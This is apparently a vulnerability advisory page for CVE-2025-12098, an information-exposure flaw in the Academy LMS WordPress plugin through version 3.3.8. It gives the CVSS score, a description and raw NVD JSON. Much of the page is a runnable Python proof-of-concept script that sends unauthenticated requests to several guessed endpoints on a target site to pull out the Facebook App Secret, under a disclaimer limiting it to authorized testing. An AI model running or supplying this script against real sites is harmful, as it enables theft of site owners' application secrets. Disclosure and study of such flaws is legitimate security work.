Security Vulnerability Report
中文
CVE-2025-12098 CVSS 5.3 MEDIUM

CVE-2025-12098

Published: 2025-11-08 09:15:34
Last Modified: 2026-04-15 00:35:42

Description

The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.3.8 via the 'enqueue_social_login_script' function. This makes it possible for unauthenticated attackers to extract sensitive data including the Facebook App Secret if Facebook Social Login is enabled.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Academy LMS WordPress Plugin <= 3.3.8 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12098 PoC - Academy LMS Sensitive Information Exposure Description: Unauthenticated attackers can extract Facebook App Secret via 'enqueue_social_login_script' function """ import requests import json import sys def exploit_cve_2025_12098(target_url): """ Exploit for Academy LMS <= 3.3.8 sensitive information disclosure """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-12098\n") # Target the vulnerable AJAX endpoint endpoints = [ "/wp-admin/admin-ajax.php?action=enqueue_social_login_script", "/wp-json/academy/v1/social-login-config", "/?rest_route=/academy/v1/social-login-config" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Trying endpoint: {endpoint}") try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) # Check for sensitive data in response if response.status_code == 200: data = response.json() if response.headers.get('content-type', '').find('json') > -1 else response.text # Look for Facebook App Secret or other sensitive info if 'app_secret' in str(data).lower() or 'facebook' in str(data).lower(): print(f"[+] VULNERABLE! Sensitive data found:") print(json.dumps(data, indent=2)) return True else: print(f"[-] No obvious sensitive data in response") print(f" Response preview: {str(data)[:200]}...") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Exploitation completed - target may not be vulnerable") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12098.py <target_url>") print("Example: python cve-2025-12098.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_12098(target) if __name__ == "__main__": main() # Note: This PoC demonstrates the vulnerability conceptually. # Actual exploitation may require additional reconnaissance and adaptation. # Always obtain proper authorization before testing any system.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12098", "sourceIdentifier": "[email protected]", "published": "2025-11-08T09:15:33.767", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.3.8 via the 'enqueue_social_login_script' function. This makes it possible for unauthenticated attackers to extract sensitive data including the Facebook App Secret if Facebook Social Login is enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://academylms.net/whats-new/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f70ee339-d9d4-43ad-8605-6a5533783718?source=cve", "source": "[email protected]"}]}}